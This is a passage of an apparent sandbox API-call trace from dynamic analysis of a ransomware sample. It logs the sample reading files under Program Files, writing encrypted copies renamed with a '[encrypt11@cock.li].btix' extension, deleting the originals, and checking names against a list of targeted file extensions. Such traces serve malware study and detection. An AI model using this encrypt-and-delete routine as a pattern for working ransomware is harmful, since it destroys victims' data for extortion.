lpNewFilePointer=0x0) returned 1 [0060.080] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0060.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0060.080] GetLastError () returned 0x0 [0060.080] ReadFile (in: hFile=0x394, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x5080, lpOverlapped=0x0) returned 1 [0060.099] WriteFile (in: hFile=0x2d8, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0x5090, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0x5090, lpOverlapped=0x0) returned 1 [0060.100] ReadFile (in: hFile=0x394, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x0, lpOverlapped=0x0) returned 1 [0060.100] WriteFile (in: hFile=0x2d8, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0xf4, lpOverlapped=0x0) returned 1 [0060.100] SetEndOfFile (hFile=0x2d8) returned 1 [0060.100] CloseHandle (hObject=0x2d8) returned 1 [0060.101] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0060.102] SetEndOfFile (hFile=0x394) returned 1 [0060.102] CloseHandle (hObject=0x394) returned 1 [0060.102] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0060.103] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoloaderui.dll")) returned 1 [0060.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0060.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0060.103] lstrlenW (lpString=".doc") returned 4 [0060.103] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.103] lstrlenW (lpString=".docx") returned 5 [0060.103] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0060.103] lstrlenW (lpString=".pdf") returned 4 [0060.103] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.103] lstrlenW (lpString=".xls") returned 4 [0060.103] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.103] lstrlenW (lpString=".xlsx") returned 5 [0060.103] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0060.103] lstrlenW (lpString=".ppt") returned 4 [0060.103] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0060.103] lstrlenW (lpString=".zip") returned 4 [0060.103] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.103] lstrlenW (lpString=".rar") returned 4 [0060.103] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.103] lstrlenW (lpString=".bz2") returned 4 [0060.103] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.104] lstrlenW (lpString=".7z") returned 3 [0060.104] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0060.104] lstrlenW (lpString=".dbf") returned 4 [0060.104] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0060.104] lstrlenW (lpString=".1cd") returned 4 [0060.104] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0060.104] lstrlenW (lpString=".jpg") returned 4 [0060.104] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0060.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0060.105] lstrlenW (lpString=".doc") returned 4 [0060.105] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.105] lstrlenW (lpString=".docx") returned 5 [0060.105] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1 [0060.105] lstrlenW (lpString=".pdf") returned 4 [0060.105] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.105] lstrlenW (lpString=".xls") returned 4 [0060.105] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.105] lstrlenW (lpString=".xlsx") returned 5 [0060.105] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1 [0060.105] lstrlenW (lpString=".ppt") returned 4 [0060.105] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0060.105] lstrlenW (lpString=".zip") returned 4 [0060.105] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.105] lstrlenW (lpString=".rar") returned 4 [0060.105] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.105] lstrlenW (lpString=".bz2") returned 4 [0060.105] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.105] lstrlenW (lpString=".7z") returned 3 [0060.105] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0060.105] lstrlenW (lpString=".dbf") returned 4 [0060.105] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0060.105] lstrlenW (lpString=".1cd") returned 4 [0060.105] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOLoaderUI.dll") returned 78 [0060.105] lstrlenW (lpString=".jpg") returned 4 [0060.105] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.106] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0060.106] lstrlenW (lpString="VSTOMessageProvider.dll") returned 23 [0060.106] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0060.106] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=48872) returned 1 [0060.106] CloseHandle (hObject=0x394) returned 1 [0060.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 0x20 [0060.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0060.106] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0060.106] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0060.106] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0060.106] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0060.107] GetLastError () returned 0x0 [0060.107] ReadFile (in: hFile=0x394, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0xbee8, lpOverlapped=0x0) returned 1 [0060.114] WriteFile (in: hFile=0x2d8, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0xbef0, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0xbef0, lpOverlapped=0x0) returned 1 [0060.116] ReadFile (in: hFile=0x394, lpBuffer=0x3a02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefecc, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesRead=0x2eefecc*=0x0, lpOverlapped=0x0) returned 1 [0060.116] WriteFile (in: hFile=0x2d8, lpBuffer=0x3a02020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2eefc94, lpOverlapped=0x0 | out: lpBuffer=0x3a02020*, lpNumberOfBytesWritten=0x2eefc94*=0x102, lpOverlapped=0x0) returned 1 [0060.116] SetEndOfFile (hFile=0x2d8) returned 1 [0060.116] CloseHandle (hObject=0x2d8) returned 1 [0060.117] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec0 | out: lpNewFilePointer=0x0) returned 1 [0060.117] SetEndOfFile (hFile=0x394) returned 1 [0060.118] CloseHandle (hObject=0x394) returned 1 [0060.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0060.119] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstomessageprovider.dll")) returned 1 [0060.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0060.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0060.119] lstrlenW (lpString=".doc") returned 4 [0060.119] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.119] lstrlenW (lpString=".docx") returned 5 [0060.119] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0060.119] lstrlenW (lpString=".pdf") returned 4 [0060.119] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.119] lstrlenW (lpString=".xls") returned 4 [0060.119] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.119] lstrlenW (lpString=".xlsx") returned 5 [0060.119] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0060.119] lstrlenW (lpString=".ppt") returned 4 [0060.119] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0060.119] lstrlenW (lpString=".zip") returned 4 [0060.119] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.119] lstrlenW (lpString=".rar") returned 4 [0060.119] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.119] lstrlenW (lpString=".bz2") returned 4 [0060.119] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.339] lstrlenW (lpString=".7z") returned 3 [0060.339] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0060.339] lstrlenW (lpString=".dbf") returned 4 [0060.339] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0060.339] lstrlenW (lpString=".1cd") returned 4 [0060.339] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0060.339] lstrlenW (lpString=".jpg") returned 4 [0060.339] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0060.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0060.339] lstrlenW (lpString=".doc") returned 4 [0060.339] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.339] lstrlenW (lpString=".docx") returned 5 [0060.340] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0060.340] lstrlenW (lpString=".pdf") returned 4 [0060.340] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.340] lstrlenW (lpString=".xls") returned 4 [0060.340] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.340] lstrlenW (lpString=".xlsx") returned 5 [0060.340] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0060.340] lstrlenW (lpString=".ppt") returned 4 [0060.340] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0060.340] lstrlenW (lpString=".zip") returned 4 [0060.340] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.340] lstrlenW (lpString=".rar") returned 4 [0060.340] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.340] lstrlenW (lpString=".bz2") returned 4 [0060.340] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.340] lstrlenW (lpString=".7z") returned 3 [0060.340] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0060.340] lstrlenW (lpString=".dbf") returned 4 [0060.340] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0060.340] lstrlenW (lpString=".1cd") returned 4 [0060.340] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\VSTOMessageProvider.dll") returned 80 [0060.340] lstrlenW (lpString=".jpg") returned 4 [0060.340] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.340] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0060.340] lstrlenW (lpString="msader15.dll") returned 12 [0060.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0060.577] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=2560) returned 1 [0060.577] CloseHandle (hObject=0x32c) returned 1 [0060.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20 [0060.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0060.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0060.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0060.577] lstrlenW (lpString=".doc") returned 4 [0060.577] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.577] lstrlenW (lpString=".docx") returned 5 [0060.577] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0060.577] lstrlenW (lpString=".pdf") returned 4 [0060.577] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.577] lstrlenW (lpString=".xls") returned 4 [0060.577] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.577] lstrlenW (lpString=".xlsx") returned 5 [0060.577] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0060.578] lstrlenW (lpString=".ppt") returned 4 [0060.578] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0060.578] lstrlenW (lpString=".zip") returned 4 [0060.578] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.578] lstrlenW (lpString=".rar") returned 4 [0060.578] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.578] lstrlenW (lpString=".bz2") returned 4 [0060.578] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.578] lstrlenW (lpString=".7z") returned 3 [0060.578] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0060.578] lstrlenW (lpString=".dbf") returned 4 [0060.578] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0060.578] lstrlenW (lpString=".1cd") returned 4 [0060.578] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0060.578] lstrlenW (lpString=".jpg") returned 4 [0060.578] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0060.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0060.578] lstrlenW (lpString=".doc") returned 4 [0060.578] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.578] lstrlenW (lpString=".docx") returned 5 [0060.578] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0060.578] lstrlenW (lpString=".pdf") returned 4 [0060.578] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.578] lstrlenW (lpString=".xls") returned 4 [0060.578] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.578] lstrlenW (lpString=".xlsx") returned 5 [0060.578] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0060.578] lstrlenW (lpString=".ppt") returned 4 [0060.578] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0060.579] lstrlenW (lpString=".zip") returned 4 [0060.579] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.579] lstrlenW (lpString=".rar") returned 4 [0060.579] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.579] lstrlenW (lpString=".bz2") returned 4 [0060.579] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.579] lstrlenW (lpString=".7z") returned 3 [0060.579] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0060.579] lstrlenW (lpString=".dbf") returned 4 [0060.579] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0060.579] lstrlenW (lpString=".1cd") returned 4 [0060.579] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msader15.dll") returned 53 [0060.579] lstrlenW (lpString=".jpg") returned 4 [0060.579] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.579] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0060.579] lstrlenW (lpString="msado15.dll") returned 11 [0060.579] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0060.608] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2eeff14 | out: lpFileSize=0x2eeff14*=1233920) returned 1 [0060.608] CloseHandle (hObject=0x348) returned 1 [0060.608] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll")) returned 0x20 [0060.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0060.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msado15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0060.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0060.609] lstrlenW (lpString=".doc") returned 4 [0060.609] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.609] lstrlenW (lpString=".docx") returned 5 [0060.609] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0060.609] lstrlenW (lpString=".pdf") returned 4 [0060.609] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.609] lstrlenW (lpString=".xls") returned 4 [0060.609] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.609] lstrlenW (lpString=".xlsx") returned 5 [0060.609] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0060.609] lstrlenW (lpString=".ppt") returned 4 [0060.609] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0060.609] lstrlenW (lpString=".zip") returned 4 [0060.609] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.609] lstrlenW (lpString=".rar") returned 4 [0060.609] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.609] lstrlenW (lpString=".bz2") returned 4 [0060.609] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.609] lstrlenW (lpString=".7z") returned 3 [0060.609] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0060.609] lstrlenW (lpString=".dbf") returned 4 [0060.609] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0060.609] lstrlenW (lpString=".1cd") returned 4 [0060.609] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0060.610] lstrlenW (lpString=".jpg") returned 4 [0060.610] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0060.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0060.610] lstrlenW (lpString=".doc") returned 4 [0060.610] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.610] lstrlenW (lpString=".docx") returned 5 [0060.610] lstrcmpiW (lpString1=".docx", lpString2="5.dll") returned -1 [0060.610] lstrlenW (lpString=".pdf") returned 4 [0060.610] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.610] lstrlenW (lpString=".xls") returned 4 [0060.610] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.610] lstrlenW (lpString=".xlsx") returned 5 [0060.610] lstrcmpiW (lpString1=".xlsx", lpString2="5.dll") returned -1 [0060.610] lstrlenW (lpString=".ppt") returned 4 [0060.610] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0060.610] lstrlenW (lpString=".zip") returned 4 [0060.610] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.610] lstrlenW (lpString=".rar") returned 4 [0060.610] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.610] lstrlenW (lpString=".bz2") returned 4 [0060.610] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.610] lstrlenW (lpString=".7z") returned 3 [0060.610] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0060.610] lstrlenW (lpString=".dbf") returned 4 [0060.610] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado15.dll") returned 52 [0060.610] lstrlenW (lpString=".1cd") returned 4 [0060.610] lstrcmpiW (lpString1=".1cd", lpString2=".dll") 